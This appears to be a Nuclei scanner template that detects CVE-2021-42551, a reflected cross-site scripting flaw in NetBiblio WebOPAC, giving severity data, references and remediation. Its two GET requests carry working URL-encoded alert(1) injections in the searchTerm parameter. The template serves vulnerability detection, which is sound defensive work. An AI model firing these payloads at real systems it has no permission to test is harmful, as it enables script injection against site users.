id: CVE-2021-42551

info:
  name: NetBiblio WebOPAC - Cross-Site Scripting
  author: compr00t
  severity: medium
  description: NetBiblio WebOPAC before 4.0.0.320 is affected by a reflected cross-site scripting vulnerability in its Wikipedia module through /NetBiblio/search/shortview via the searchTerm parameter.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42551
    - https://www.redguard.ch/advisories/netbiblio_webopac.txt
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-42551
    cwe-id: CWE-79
    epss-score: 0.00124
    epss-percentile: 0.46481
    cpe: cpe:2.3:a:alcoda:netbiblio:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: alcoda
    product: netbiblio
  tags: cve,cve2021,xss,netbiblio

http:
  - method: GET
    path:
      - '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%27%2Balert%281%29%2B%27x'
      - '{{BaseURL}}/NetBiblio/search/shortview?searchField=W&searchType=Simple&searchTerm=x%5C%27%2Balert%281%29%2C%2F%2F'

    host-redirects: true
    max-redirects: 3

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SearchTerm: 'x'+alert(1)+'x',"
          - "SearchTerm: 'x\\\\'+alert(1),//',"
        condition: or

      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "NetBiblio"

      - type: status
        status:
          - 200

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